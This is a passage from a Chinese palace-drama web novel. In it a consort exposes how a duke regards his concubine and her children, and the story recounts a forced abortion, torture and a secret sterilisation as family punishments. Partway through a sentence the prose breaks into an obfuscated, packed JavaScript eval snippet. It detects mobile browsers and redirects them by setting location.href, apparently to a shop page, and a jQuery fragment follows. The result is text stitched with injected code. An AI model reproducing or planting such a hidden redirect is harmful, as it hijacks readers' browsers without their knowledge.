三姑娘真的是国公爷的心尖尖,三姑娘不干涉,国公爷还能顺着我;三姑娘若要干涉,国公爷必定向着侄女,哪怕三姑娘要我们死,国公爷都会答应。” 霍鹣娇愣愣地听不懂,霍鸳娇被卡住又迅猛驳斥:“姨娘你胡说什么?” 大批看客饶是相信穆国公能把他们舍掉都惊诧得有点难以置信了,在今天以前,穆国公多宠这妾室啊,偏偏又是这个娉姨娘亲口证实,这还能是假的吗? 府门旁的霍振羽和女眷们再看向霍舒窈,霍舒窈也不敢表态了。 总之,大伙差不多都觉得神奇,到底是穆国公宠这妾室有假还是真另有隐秘呀? 97. 第97章 霍府前的跪影在斜阳的渲染里平添煽情,霍海啸打断众人的遐想:“以娉姨娘的张狂若不是把她打到害怕不会服软,授康十五年冬她滑胎不是意外,对吧?” “你说什么?”霍鸳娇怒然瞪向嫡长兄否定:“不可能,我当时就问过姨娘,我记得很清楚当时姨娘四个月的身孕小产了,姨娘告诉我不是你娘害她流产,就是意外。” “是父亲做的,父亲亲自让你滑胎,对吧,娉姨娘?” 霍海啸难得这样慵懒的腔调,霍鸳娇想驳斥偏偏又不由自主转头,看见她姨娘在发抖,她心头一跳,难以遏制的恐慌涌来:“姨娘?” “姨娘你说不是呀。”霍鹣娇迫切摇着生母:“怎么可能,爹怎会让你落胎?” 然众人目睹这娉姨娘始终埋头沉默,相当于默认,是真的?! 霍鹣娇跌坐在地,要挣扎着挪过来的霍超群停住了,霍鸳娇笑起来,笑得比哭还难看,笑得那么惨淡:“十八年前,十八年前霍灵渠七岁,霍舒窈十岁,我九岁。 十八年前的夏天,父亲宣告我们在他心里连霍灵渠一根头发丝都比不上,霍灵渠是他的心尖尖,哈哈哈……多可笑,我和姨娘怎么会认?! 我和姨娘哄着父亲停掉给姨娘的避子汤,姨娘怀上身孕,坐稳胎,我们仗着姨娘有了身孕,寻机抓掉霍灵渠好几根头发;我还记得我当时好高兴啊,我对着这堂妹冷笑:什么我们连你一根头发丝都不如,我就抓你的头发了,我看我爹能把我怎样? 爹回来后什么都没说,我真高兴啊我得意极了,没几日,我带鹣娇跟霍海啸兄妹四个到城外的温泉庄小住,爹竟然把霍灵渠撇下了,我更是高兴得不得了。哪想,我们在温泉庄住一个月回来,姨娘小产了,我怀疑嫡母可姨娘说不是,我就没多想。” 她仰头哈哈大笑,笑得眼里都是泪,是她的心头血,她看着像泰山般压着她的堂妹问:“你告诉我,我姨娘真是因为我们抓掉你几根头发就被父亲亲自打胎吗?” “你应该知道娉姨娘怀过五胎,她会落掉第二胎是当时她刚生下你就要再怀,大伯让她缓几年,待你大些再生,娉姨娘不肯,偏要偷偷避着避子汤。她偷怀的第二胎,大伯就是给她灌碗打胎药。”霍灵渠反问:“你认为霍秦川会有几分在意娉姨娘怀的胎?” 霍鹣娇愣下看向她,霍桑柔觉得怎么听起来那大伯给宠妾打胎那么顺手呀,霍舒窈迎着他们望向她饱含疑惑想求证的眼神应:“当时霍秦川让娉姨娘专心照顾刚满百日的霍鸳娇,娉姨娘非不愿意还要偷摸着怀,给她打胎有什么不对?” “不对吧。”十三岁的霍八姑娘发表看法:“以大伯对娉姨娘的宠爱怎么会计较这点事,何况娉姨娘有身孕了,大伯应该高兴还来不及啊,反而给她打胎不是太奇怪了嘛。” “霍秦川早年没那么昏。”霍舒窈淡定甩手:“是你三姐姐离家后,霍秦川越老越昏,对他们越来越少管教才让你们误以为娉姨娘二十多年来都这么得宠,没有的事儿,早十几年前娉姨娘被罚掌嘴禁足打手心板关柴房都家常便饭。” 霍鸳娇反而突然感到不对劲甚至有种让她不愿面对的恐慌:“你什么意思?” “娉姨娘心中或多或少隐约有数吧。”霍灵渠往前两步,注视着不愿意抬头的娉姨娘,她启唇宣告:“你不能生,霍秦川不会少宠你;你生下十个八个孩子,霍秦川不会多宠你。但对于这现实,你只接受前半部分得意忘形而强行无视掉后半部分。” 霍贵妃真没在信口雌黄吗?多数人包括霍舒窈都觉得不能理解,深谙此间心思的少数人想得明白,再看向这位娉姨娘,看待霍秦川对她近乎宠妾灭妻的宠就完全不是那么回事了,甚至是截然相反的论调,这哪是什么心头好,不过是个玩意儿。 娉姨娘憋红脸恨不得找地方躲起来,霍鸳娇本能反驳:“你胡说什么,不能生的女人是什么呀,我姨娘若不能生跟她能生十个八个孩儿怎么可能会没有不同;我姨娘若是不能生,爹怎么可能还会宠爱姨娘,这世间哪有男人会宠个不能生的女人?” “对这小妾只图取乐而没有生育要求的男人。”霍海啸给答案,霍鸳娇狠厉瞪他,他慢条斯理笑:“娉姨娘心中有数吧,我父亲宠你只因你能讨他欢心哄他高兴,你生的这三个对你没有任何固宠作用,反而他们完全是仰赖你才能在霍家张狂。” “我看你霍海啸在故意混淆是非颠倒黑白才是真的。”霍鸳娇压抑着胸中喷涌的狂暴,眉眼的神情傲慢得近乎扭曲,高抬下巴冷笑蔑视:“你心虚害怕了吧。 你霍海啸不是狂妄得从来不把我们看在眼里么,原来你也知道啊,父亲对我姨娘千依百顺,只要是我姨娘想要的,爹都会答应。眼下,不过是超群还小,我们还没提过爵位,可只要姨娘向爹要爵位,我们要废掉你的世子位休掉你娘都是易如反掌的事。” 霍海啸冷冷凝视着她没说话,霍灵渠莞尔玩味:“那么二姐敢不敢跟我打个赌,我认为你们还没提过爵位是你们害怕我爹才不提,你怕你争爵位会被我爹爹打死。 你也知道我爹爹的脾性,我爹怎么可能容忍将来被霍超群个小屁孩压着他。你若敢赌,我帮你们争爵位再向陛下求个恩典给霍秀仪晋到正三品,如何?” “你、你?”霍鸳娇伸手指着她被气得嘴唇都哆嗦,霍鹣娇和霍超群乃至是雷家人几乎都殷切看着她甚至想喊她提醒她,可没想到,霍鸳娇真是连个赌都不敢应?! “灵儿你太坏了,怎么好拿二叔来吓她,这不是要吓死她么。”霍舒窈笑得乐不可支,霍鸳娇调转枪头怒瞪她,霍舒窈不屑,又对上大批疑惑的目光,她心情不错地解释:“你们当十八年前霍鸳娇为什么只敢扯掉霍灵渠的几根头发? 灵渠四岁多刚惩戒她们时她就憋过坏,一回是在湖边她把我和灵渠推倒了,当年大家都还是小娃娃没什么力道,就是在湖边沾湿弄脏衣裳了,二叔就把她和娉姨娘扔进湖里让她们在湖里浸泡整日才准许下人打捞,霍秦川连屁都不敢放一个。 第二回是她自己把自己弄惨兮兮得诬陷我和灵渠害她,我们说没做过,二叔就把她和娉姨娘吊起来吊在烈日底下晒,当时酷暑,暴晒一整日差点没把她和娉姨娘晒死,霍秦川照样连屁都不敢放一个,她们被扔在湖里和吊起来暴晒时还嚷着咒骂二叔。 叔叔就连着好几天派人掌嘴把她们嘴巴都快打烂了,霍鸳娇六岁时换的第一颗和第二颗乳牙都是她被掌嘴时打下来的。还有出阁的时候,我的压箱底是十万两,她就非闹着霍秦川给她备二十万两的压箱底,闹腾小半月把二叔给惹烦了。 二叔就限定霍秦川拿二万两给她备嫁妆,是二万两筹备嫁妆而不是压箱底,她和娉姨娘寻死腻活闹大半个月把霍秦川也惹烦了,把她们绑了扔柴房里才消停。” “所以她和娉姨娘还没提过爵位怎么会跟霍超群还小有关系。”霍舒窈欢快纠正:“当然是祖父还没分家,有二叔镇着,毕竟她们也清楚二叔绝不会容忍让霍超群来压到他头上。”她说着转向那庶妹挑衅:“是吧,二妹,咱爹到底对谁才是千依百顺啊?” 霍鸳眼神凶狠得像要活吞这嫡姐可就是死死不敢应,看客中的嘲笑声又起,霍鹣娇忽然想自嘲,霍超群低下头,那期盼的眼神慢慢黯淡。霍振羽真不敢相信他爹和霍秦川之间竟然反而以他爹为主,霍蓁蓁欣喜地当场发问:“大姐,大伯怕我爹呀?” “是兄弟情深。”霍舒窈一本正经谴责:“你都些什么乱七八糟的想法,霍秦川是出名的疼爱嫡亲的弟弟和妹妹,是娉姨娘和霍鸳娇能比的吗,娉姨娘再得他欢心也是个妾,霍鸳娇一个庶女,她们能配和霍秦川的亲弟弟相比吗?” 霍蓁蓁高兴就没对呛,霍海啸突然质疑:“授康十五年冬娉姨娘的落胎没这么简单吧,娉姨娘和霍鸳娇向来健忘不会长教训,距离她们差点淹死、晒死三年有余,只怕她们早已经把三年前的教训忘干净了否则哪儿来的胆量敢去扯灵渠的头发?” “扯灵渠的头发跟前两回有什么不同,一而再再而三,叔叔怎么可能再轻拿轻放?”霍海啸看向妹妹,肯定道:“十八年前对娉姨娘的惩戒不简单吧。” 娉姨娘脸唰得血色全无,霍鸳娇忍不住心慌:“不就灌碗打胎药,还能怎样?” 众多看客包括霍舒窈都想是啊还能怎样,都给娉姨娘打胎了还要怎样? 霍灵渠沉默下,略沉重得忆起往事:“大伯和爹爹让我选:一,让她病逝;二,用刑,用刑部大狱里对付重犯的大刑。我不想闹出死人的事,我就选了第二种。 祖父让我亲自观刑,祖父教导我,善良很好,人都应该有善良,但人若是只有善良只会落得任人欺凌宰割,想做个善良的人必须得要有保得住自己善良的锋芒,不该心慈手软的时候绝不能没有应当应分的狠。霍家的娃再狠都没什么,就怕不会发狠。” “娉姨娘受过整整十个时辰的大刑。”霍灵渠说:“当时寒冬,她受刑结束后仍把她放在地牢里关了两日,彻底给她长个教训才把她放出来。” 看客们多不可思议,只因霍灵渠被抓掉几根头发,霍漓江就下这样的狠手? 霍海啸接受起来没压力,他霍家的掌珠岂是府里个小妾能欺的?! 霍桑柔虽然觉得有点狠但还是憋屈地承认一丢丢那爹可能真的很疼爱她姐姐。 正徽帝嬴忱璧滋味有点莫名,若此事在他手中,他不会出此狠手更不赞成这种狠辣;但他不得不承认哪怕他自觉定会对贵妃很好,相比这父亲的呵护,他差之远矣。 晏霁之忽然想明白霍灵渠怎么就能有那么多爱能看淡毁掉她人生的恨,她是她爹的命啊,都知道霍漓江视长女如命根但凭命根两字还真猜不出霍漓江有多珍爱这女儿。 “数九寒冬,饥寒交迫地躺在冰冷的血滩里叫天不应叫地不灵的恐惧,你记了几年?”霍灵渠走到相距娉姨娘四五步远的位置,盯着浑身颤抖的女人,都有种恨铁不成钢了,就是对太不懂珍惜的谴责:“若非你今日见到我,你早把那场血淋淋的教训忘干净了吧。 大伯的妾室除你娉姨娘之外我还记得位姚姨娘,姚姨娘知书达理很清醒更有自知之明,但凡你能有姚姨娘的一点清醒,你能走到今天这步吗?你进霍家时拿到的牌多好啊,你只要懂得记住教训,霍家不倒、你和你生的三个就能稳稳当当富贵终老。” “可你呢?在你闹着想用夫人的份例时你就把受过的教训忘干净了吧,一场差点死掉的教训你才记几年?”霍灵渠受不了地骂:“童年时我爹跟我说,你大伯喜好拿蠢货来逗闷,小妾越蠢他越宠得起劲,我们家人都知道你蠢啊,但你不能真这么蠢吧!” 晏霁之默默捂脸,怨不得她都能训出火来。霍巨浪都想捂脸,瞧这话说的,霍舒窈怎么听都不得劲儿,我们家人都知道你蠢啊,而她跟个蠢货计较那么多年,她成什么了?府中姚姨娘生的霍六姑娘难以想象这些教训怎么会能忘得掉,难道娉姨娘没心没肺的吗? 是真够蠢,显国公看这幕真觉得没心没肺都不足以形容还真是就只剩个蠢字了,霍秦川有这么乐此不疲拿这种蠢货来逗趣吗?陪着父亲和嫡母过来的喻自蹊猛然庆幸霍鹣娇对他退亲了,否则他娶个穆国公根本不在意的庶女不得拖累死他。 陪着蒙侍郎和吴王姗姗来迟的行知总算远远看见了霍贵妃,果然是记忆中的模样。 佟尚书佟图匡隐隐背脊发凉,他女儿嫁进霍家二十多年,他向来自问对霍家没有了如指掌也有六七分把握,哪想他竟然连穆国公兄弟的关系、连穆国公对那宠妾的真实态度都没摸到过底,是梦姿当真和梦娴一样没用还是霍家藏得比他以为的深得多啊? 隐在人群中年近六十岁的雷老太太眼泪流,这个女儿从小就漂亮,总认为漂亮就够了,早几年她还担心过女儿太过自信在霍家会被欺负,可随着穆国公越来越宠她女儿,她也就相信这闺女真把穆国公攥在手心里了,哪想真相这样不堪啊。 “不、不可能,不可能!” 霍鹣娇瘫软在地,她胞姐霍鸳娇像才回过神般转身抓着生母疯狂摇晃:“姨娘你快说这不是真的,没有发生过那种事,爹怎么会舍得对你用刑,姨娘你快说这是假的,是霍灵渠在编谎话骗我们,她就是想故意吓唬我们想让我们误会。 爹最宠我们了,爹怎么会舍得对你用刑,应该是、是谁敢动姨娘你一根头发丝儿爹都要把人杖毙的,是不是啊姨娘,姨娘你快些应我呀……” 娉姨娘像没骨头似的任由她生的二姑奶奶摇晃,霍鹣娇笑得眼泪流出来,霍舒窈走近前来探讨:“灵渠,你知道霍秦川对他们到底什么个态度吗,他宠娉姨娘真不像在装,但仔细想想吧我爹好像也是真的不在意他们,这爹在耍什么把戏?” 她还带动大批人都跟过来了,霍桑柔牵着小祐围在姐姐身边,霍未央几个小辈好奇仰望初见面的三姑母,连乐邑长公主都蹿过来了。薛述聪腹诽这媳妇耳朵不好使吗非凑那么近,一不留神那倒霉弟弟也要溜去凑热闹,他悲催地只能冲过去把薛述嘉抓回来。 “大伯没有耍把戏,他宠娉姨娘是真,不在意同样是真,宠又不意味着必须要在意。”霍灵渠温柔笑:“大伯又不糊涂,他对娉姨娘就图个乐,没有多余的想法。” “我真难苟同。”霍舒窈反对:“娉姨娘这十年来用的可都是夫人的份例啊,霍秦川可是连娉姨娘的母家都照顾到了,他没有发昏老糊涂还能这样打正妻和嫡系的脸吗?” “大姐,霍家还没有没落,在霍家多用点银两能算什么事呀。”霍灵渠剖析道:“大伯对妾室都划分得很清楚,像姚姨娘知书达理清醒有自知,就属于大伯寄予生育愿景的妾室;像娉姨娘,大伯就是图个乐儿,他都不盼娉姨娘生养的。 你就当做是霍秦川掏银两买高兴好啦,娉姨娘能讨他的欢心,只要他觉得出这笔银钱买他开心是值当的,你就由他买好了嘛,霍家又不是出不起这点子银钱。” 还能这样解释?霍舒窈差点没瞪出眼珠,霍鸳娇看眼他们后低头看向生母,真觉讽刺,他们都自信把父亲攥在手心里了,父亲对他们竟视做花钱买开心的玩意儿?! 普通老百姓们觉得可真新鲜,对王孙贵胄们再能理解不过,这解释还真是最合理形象,就没想到穆国公这么恋旧,一个玩意儿逗二十多年还是用刑过的玩意儿都没扔掉。 霍舒窈琢磨下瞟向她的两个亲哥:“你们都这么想的?” “本来就是这么回事。”霍海啸嘴毒道:“若是阿猫阿狗能讨得父亲高兴,爹照样能像宠娉姨娘那般宠着那些阿猫阿狗,只不过父亲懒得换玩物,娉姨娘恰好是个人而已。” “娉姨娘当然是个人啊。”霍舒窈下意识接茬,语毕她愣下察觉不对劲,转目看他们,霍巨浪真想捂脸,大哥你至于嘛,事不关己的看客们真要夸穆国公世子会诛心啊。霍六姑娘和同母兄长对看眼,真说不出什么滋味,至少父亲没把他们视作玩意儿吗? “大哥你可不要吓我。”霍舒窈将信将疑:“霍秦川近年越来越少管教他们几乎都不管了就任由他们妄为,这又怎么算?还有,娉姨娘多大岁数了,霍秦川又没少过新人,水灵灵的嫩美人居然都越不过她,她越老霍秦川越迷恋,还能没问题吗?” 霍海啸懒得作答,霍灵渠再说明:“大姐,我在家中时都惩戒过她们多少回了,血腥的重刑都用过了,她们哪回能长教训?既然如何惩戒都没用,端看大伯心意就好了。 大伯还能容忍就留,大伯不想再留就不要了,何需再费周章惩戒?至于没有鲜嫩的美人能越过她?大姐,大伯是图乐子,你得找个比娉姨娘更蠢的。” 更蠢两字如有画龙点睛之效般引得看客们喷笑;霍鹣娇觉得真像一场荒诞不经的梦,雷老太太满心苦味,霍超群这十四岁的少年首度感受到难堪滋味;霍蓁蓁同在嘲笑行列中早把之前她对于那大伯舍掉最宠俩女儿的心戚戚抛诸脑后了。 霍舒窈憋得慌,合着她还攻击错方向了吗? “可我真不觉得霍秦川对嫡系比对他们好。”霍舒窈抵御道:“你还有证据吗?” “嗯?”霍灵渠回忆:“姚姨娘生的五哥儿比振羽小一岁,大伯给五哥儿取名霍循翊,循乃遵照、翊乃辅助,大伯希望五哥儿能有出息尊崇嫡系和嫡兄们团结。 霍鸳娇姐俩的名字是娉姨娘取的,我猜霍超群的名字也是娉姨娘定的吧。大姐你数数,除了他们三姐弟外,大伯的庶出儿女是否都由大伯亲自取名,娉姨娘生的姑娘少爷由她自己取名可视作她得宠也可视作大伯懒得费心思取名吧。” 霍舒窈激灵,父亲都懒得取名的儿女对之得是什么态度?霍鸳娇抬头,眼睛直勾勾的像伸出了铁钩子;霍鹣娇眼眶猩红地忍着不掉泪,霍超群只觉像被泼下盆冷水那样浑身发冷。姚姨娘生的霍五少爷和霍六姑娘兄妹再对看眼更不知是什么滋味了。 观众们看这可真是越推敲越惨烈,这娉姨娘以往多张狂现在就有多像个笑话。 “慢慢慢点,这没准儿是娉姨娘偏要她来取名好彰显她的与众不同。”霍舒窈例举道:“你看霍鹣娇硬要装病退亲进宫,吃相那么难看,霍秦川都顺着了。” “大姐,假若你和大姐夫和离了,你想进宫,即使你嫁过人有孩儿,你进宫照样能登一品高位。”霍灵渠认真道:“在皇太后姓霍、霍家鼎盛之际,你霍舒窈若想进宫就能做娘娘,不用大伯母张口,大伯会主动给你争到一品妃位。” “你瞎说什么。”霍舒窈被她吓跳,不经意对上霍鸳娇的眼神,莫名心漏掉拍。 霍秀仪霍鹣娇进宫前的往事看客们差不多都知道,此刻顺着霍贵妃的类比捋捋,贵妃的推论是真是胡诌不敢评断,但穆国公对霍鹣娇还真就是个无所谓的态度啊;穆国公若想给霍鹣娇争个高位可能会争不到吗?霍家连后位都敢抢啊,除非是穆国公懒得管呢。 十四岁的少年霍超群在这刻陡然生出股恨意,霍鹣娇死扛着不要哭都控制不住地流泪,霍鸳娇抬手狠狠抹把脸。晋王远远欣赏着这三姐弟的表情,饶有兴味地勾唇。 “你瞎臆想的假设能当证据吗?”霍舒窈定定心神说:“大姐是要证据,不是假设。” 霍灵渠思量道:“嗯,当年你问大伯是你重要还是娉姨娘她们重要,大伯答曰,霍舒窈你就不知体谅你爹怜惜宠妾的心吗?假设大伯喜好逗猫遛狗赌博骑射。 你把这句话里面的宠妾替换出来,带入喜好赌博骑射的心是不是同样顺畅;大姐试想,大伯唯有把你放在很重要全然高于这些事物的层面才会说出这样的要求,对吧?” 霍舒窈想不出来对不对、她只知道她替换下是真的能透透的感受到霍秦川还真就是拿娉姨娘当个玩意儿啊,她滴个亲娘啊,她居然跟个玩意儿计较那么多年,郁闷死她了。 “大姐,大伯不糊涂,你看你外祖家多稳啊,祖父也从来没干涉过,何况大伯难道还能看不懂谁对他好吗?娉姨娘凭什么能迷得他晕头转向呀?” 霍灵渠好笑:“一个只想把霍秦川攥在手心供她予取予求的小妾,霍秦川会看不懂吗?大伯若是连这点清醒都没有,他还凭什么能屹立在朝堂,霍秦川对娉姨娘就图个乐,大姐你有什么不能转过弯?你不能这么看贬你亲爹吧。” 晏霁之都想替她辛苦了,真难为她又能训出火来。霍舒窈郁闷想居然好像真没法反驳。班丞相唏嘘,终归是他低估穆国公了才会连摊在眼皮底下的真相都瞧不出。 谁没点感触?受娉姨娘惠及的雷家众人是真苦涩,旁观者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459289|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来这伙尤其是霍鸳娇标榜他们想要爵位是易如反掌还真就是在拿穆国公当傻瓜看了。文郯侯夫人不着痕迹地瞥过丈夫,心中冷笑:真怨不得霍家厉害,人家当玩意儿宠,你是居然能真被个小妾捏着。 “大姐,大伯很疼爱你,你不用怀疑。”霍灵渠再摆个现实:“你看,四兄妹中就你能随心所欲叫亲爹的大名还能当着霍秦川的面叫他霍秦川;雄鹰小时候犯一回,大哥打二哥打、小叔打、三叔打、我爹打、大伯打、祖父打,打得他痛哭流涕哭爹喊娘啊。” 好多人听来觉着霍雄鹰这被打得有点惨不忍睹啊,霍舒窈不经思索地不赞成:“哎呀你不照样随便喊霍漓江的名字,咱们是姑娘家,我毕竟是他霍秦川唯一的嫡女……” 她说着心虚了,拿霍灵渠来对照,这妹妹可是二叔的命根,那她之于她爹?哎呦娘哎,她发现她一直以为宠妾宠昏头的老爹可能很疼爱她最疼爱的其实是她该怎么办? “你很得意吧。”霍鸳娇冷冷盯着这嫡姐,霍舒窈抿抿唇装模作样:“谁得意啊,你就是心眼比针眼还小、人品比你姨娘还不如,你就是永远见不得别人过得比你好。” “哼,哈哈…霍舒窈,霍秦川?!”霍鸳娇白皙的脖颈间青筋直暴,咬牙切齿发狠道:“霍秦川这个卑劣无耻的虚伪小人,他不得好死,你们也别想逃,强抢后位羞辱皇家那么大笔账还想指望皇帝能罢休吗?连霍灵渠个烂货都敢争后位,我看你们怎么死!” 聚拢的人群骤然间安静,不少看客难以置信刚才听到的咒骂还有不少看客忍不住摇头,显国公跟穆国公霍秦川是对头都受不了地摇头。湘王对这表姐忽然就心凉了,更有些人幸灾乐祸起来,瞧这仨姐弟非逼得穆国公不管他们死活以后能落个什么下场。 晏霁之神情晦暗若有所思,皇帝似有感般转向他询问:“怎么像突然有心事?” “我才发现我竟然还有菩萨心肠。”晏霁之自嘲,皇帝沉默下说:“孝,善始也。” 霍家第四代的小辈们绷紧小脸,霍舒窈气得非扇她耳光不可被霍海啸拉住,霍巨浪注视这位庶妹直想看看她的心肝是什么颜色。十六岁的霍六姑娘被治愈般释怀了;霍桑柔嫌恶,这都什么人啊,连霍蓁蓁都站在道德的高点鄙薄她。 “霍秦川很公道啊,娉姨娘能讨他的欢心,他宠娉姨娘;你们对他没有真心,他对你们没有真心,这不是最应当的天公地道么?他对拿来逗闷的玩意儿又没白嫖。”霍灵渠美目流盼语笑嫣然像就没察觉措辞有何不妥,乐邑长公主腹诽:你可真够损的。 嫖是什么,娉姨娘是妾室,用嫖字是莫大羞辱。有男人嘲笑,有人说回击得漂亮,有怜悯泛滥者指霍贵妃太狠;任逍欲讥讽挨到魏王一记眼神警告,憋屈地什么都没嘀咕。霍舒窈可是通体舒泰了,对,就当她爹在花钱买乐,娉姨娘就是个卖身子的玩意儿。 霍鸳娇愣下才反应要反唇相讥时霍灵渠的步步紧逼又已劈头盖脸袭来:“你霍鸳娇呢,霍秦川是你的父亲,他给你二十多年富贵,你仰仗他才享有二十多年锦衣玉食的生活,他对你实实在在有着生养大恩,可你对他有丁点孝心吗? 在你自觉父亲宠你时你对着亲爹倨傲威胁张口就来,你只想掌控他供你驱使;在你发现父亲对你没有你以为的那么好时,你能恨毒父亲,你要咒他死。” 霍灵渠笑靥如花毫不见怒意:“你霍鸳娇又是个什么货色,霍秦川若是对你们用真心,你们四个岂不是要把他吃得连骨头渣都不剩吗? 你们毫无真心却妄想他对你们掏心掏肺,不荒谬吗?真心,你们配吗?当众诅咒父亲,穆国公若是跟你计较、告你不孝,你霍鸳娇还能逃得掉?” 霍鸳娇瑟缩下想对呛时被生母拽把,娉姨娘终于抬起脸庞,风韵犹存的秀颜苦涩极了:“三姑娘,奴婢想再见国公爷一面,奴婢求求您,您让奴婢跟国公爷告个别吧。” 这是不准备抗辩了?有些看客想这位娉姨娘还是有把刷子的,能屈能伸,清楚争锋相对远不如全盘接下来得对她有利,更明白唯有见到穆国公本人才有望再争取些好处。 “大伯嘱咐过了,他不出来送你们了,让我转达他的交代当做告别。”霍灵渠转述道:“昨日娉姨娘要四万两,大伯会给你五万两银票,你好好收着不要乱用,将来给霍超群置办家业娶媳妇;你和霍超群还留在府里的家当,也给你们带走。 昨日娉姨娘还想让霍秀仪这月就升到正三品,大伯只能答应求陛下给霍秀仪晋升一级;你管好霍鹣娇让她不要再任性了,皇太后是她的姑母不是她肆意胡来的护身符。 这些年你们的心越来越大,大伯思量许多,的确是娉姨娘你离开霍家对你们更好。将来霍超群能鼎立门户了,你跟着儿子好好过,你会有后福的。还有霍鸳娇——” 霍鸳娇下意识转头看她,霍灵渠同时看过去,淡淡道:“大伯让我告诉你,你从小不怕你的父亲,你怕你姨娘,你自小清楚你在霍家能活得张扬全赖你生母得宠。 今后,在霍超群能立起门户前的这四五六七年,你姨娘跟着你在愗郡公府讨生活,你可别你姨娘要靠着你时,你自己吃香喝辣却连一口肉汤都舍不得分给你的生母。” 娉姨娘怔住,许多人想这诛心妙啊,霍鸳娇要驳斥被制住,霍灵渠摆手:“你会对你的生母好你尽管去做就好了,你做出来自然能服众,用不着跟我磨嘴皮。” 婢女们抬着六只箱笼走出霍府大门来到霍贵妃面前,放下箱笼行礼,得免礼后,为首的丫鬟捧着只雕花红漆木匣呈给贵妃,霍灵渠接过木匣,走到娉姨娘面前亲自递给她。 “还有件事,娉姨娘你三十岁时绝育了。大伯觉得你生三个、姑娘少爷都有了,够了,不想让你再生。既然你要离开霍家了,祖父让我告诉你就让你把这件事带走吧。” 霍舒窈不禁愣下,霍鸳娇三姐弟都愣了下但过后就平静了,旁观者们看来也不过是多个穆国公把这娉姨娘当做玩意儿的佐证,娉姨娘更浑如没过耳般。 “是,奴婢谢三姑娘和老太爷告知,奴婢谢国公爷二十八年来的厚爱,是奴婢不好,辜负国公爷的厚爱让国公爷失望了,是奴婢愧对国公爷。奴婢和六少爷就要走了,烦请三姑娘转告请国公爷今后珍重,毋需挂念我们,奴婢会谨记今日教诲管好少爷和姑奶奶们。” 她抱着装有五万两银票的木匣哀恸自责凄婉难舍,全了这场二十多年宠爱的体面。 霍舒窈瞧着她想娉姨娘和霍鸳娇比起来还真是娉姨娘的人品好点,霍灵渠交代京兆尹:“本宫劳请府尹大人亲自送他们回愗郡公府,你帮我给愗郡公夫妇传句话,管好家眷,倘若我再收到贵府二奶奶或者其他人的恶意,愗郡公府可就不是降爵那么简单了。” “是,娘娘。”京兆尹颔首应,霍鸳娇受惊般看他们,旁人看来霍贵妃防得恰当啊。 霍灵渠再交代御前总管在府外稍后片刻,她进府去请陛下。霍海啸陪同贵妃往府里走,夕阳烧红的斜辉掠过他们堂兄妹一前一后的身影,将拉长的背影划向交汇。 没有人觉得霍海啸陪同贵妃进府请陛下有何不妥,但真有几位官员要笑霍振羽愚笨了,你亲弟弟有资格往前站的时候都不懂得站出来,你还能争得到霍贵妃向着你吗? 堂兄妹走过福字照壁,霍海啸突遭袭击被拽过,他看清楚是谁,没脾气地叫爹。 “大伯?”霍灵渠眨眨眼眸,就被伯父笑容可掬地赶了:“娘娘,老臣想起件很重要的事得即刻和霍海啸谈,霍漓江在前面候着,您乖啊您就跟着霍漓江去请陛下吧。” “哦。”霍灵渠乖乖地自己走掉,霍秦川再命令霍海啸:“此事需得你亲自去办。” “请父亲吩咐。”霍海啸很平淡然后被告知:“限你十日内把你爹刚给娉姨娘的五万两银票拿回来。”他:“……”他真想把霍巨浪今早的非得这样计较做什么拿出来,他真不想去做梁上君子:“爹,这不好吧,毕竟都送出去了,哪儿还有再悄悄拿回来的理儿?” “你个败家玩意儿!”霍秦川大义凛然:“你当家里攒钱容易吗,能由得你这样败家吗?你没听见人家又是辱你妹妹又是咒你爹,你个混账,你非但置之不理、你居然还想着给人家送钱,你的孝悌被狗吃了,你还有点当哥当儿子的样吗? 愗郡公府坑走咱家多少银两了,这笔银两咱不拿回来,最终肯定还是被愗郡公府坑走。你个孬种,人家坑走你家那么多银两你非但不想着讨账还想再给人家送钱,你还有没有点志气?不把银两给你爹拿回来,你就不要再叫霍海啸了,你改名叫霍孬种吧。” 霍海啸被喷得都要冷静下才应:“父亲放心,十日内我保证把银票拿回来。” 两刻多钟后,皇帝携霍贵妃走出霍府,老太爷霍擎带霍漓江陪送出府恭送陛下和贵妃。穆国公霍秦川没有现身,终是把还在府外等待着他的悱恻告别给扼杀在冷峻中了。 皇帝起驾回皇宫,天已暗,禁军举火把照明,星星点点的火苗照亮宽阔的前路。 銮驾入皇城,走过宫道高墙,来到长春宫,皇帝携霍贵妃给皇太后请安,蹭顿晚膳、拿张放出宫的宫人名单:其中,椒房殿裁剪二十名宫人,众太妃每位各裁减两名宫婢,源于郭皇后和某几位太妃合谋协助霍秀仪私自出宫。 宫中规制,皇后宫中设百名宫婢,正一品贵妃安排八十名宫婢,正二品夫人得享六十名宫婢伺候。上回椒房殿被裁剪掉二十名宫人还没补上,这回再裁剪二十个,也就意味着目前郭皇后宫中的宫婢数和令愔夫人身边的宫婢数等同了。 皇帝阅览遍放出宫人的名单,给太后请过晚安,回帝王起居的皇极宫。 翌日清早,皇帝颁下口谕传喻内廷:谁若胆敢毁谤编排污蔑辱及霍贵妃,赐死。 98. 第98章 皇帝的口谕颁下:谁若胆敢毁谤编排污蔑辱及霍贵妃,赐死。清晨突如其来的威慑震得宫婢们噤若寒蝉、皇城中的流言绝迹,还震住了因不忿再被裁剪宫人的太妃们在明面上的对抗但镇不住诸多太妃送信向太上皇求救,更防不住今晨还是闹出事端了。 禁足令刚被解除没几天,未满八岁的大皇子挥着宝剑冲进长春宫嚷嚷着要砍死霍贵妃,皇帝带着霍雄鹰和禁军从宣政殿赶来时大皇子还在挥剑乱砍。 建威侯夫人陪着皇后女儿被阻挡在长春宫外,她今晨比皇帝的口谕还早到椒房殿,她顾着安抚皇后,哪想被那群唯恐天下不乱的太妃钻到空子竟敢这般撺掇大皇子?! 霍太后真真是愤怒了,令愔夫人赶到都拂掉皇帝宠妃的脸面将她们挡在长春宫外。 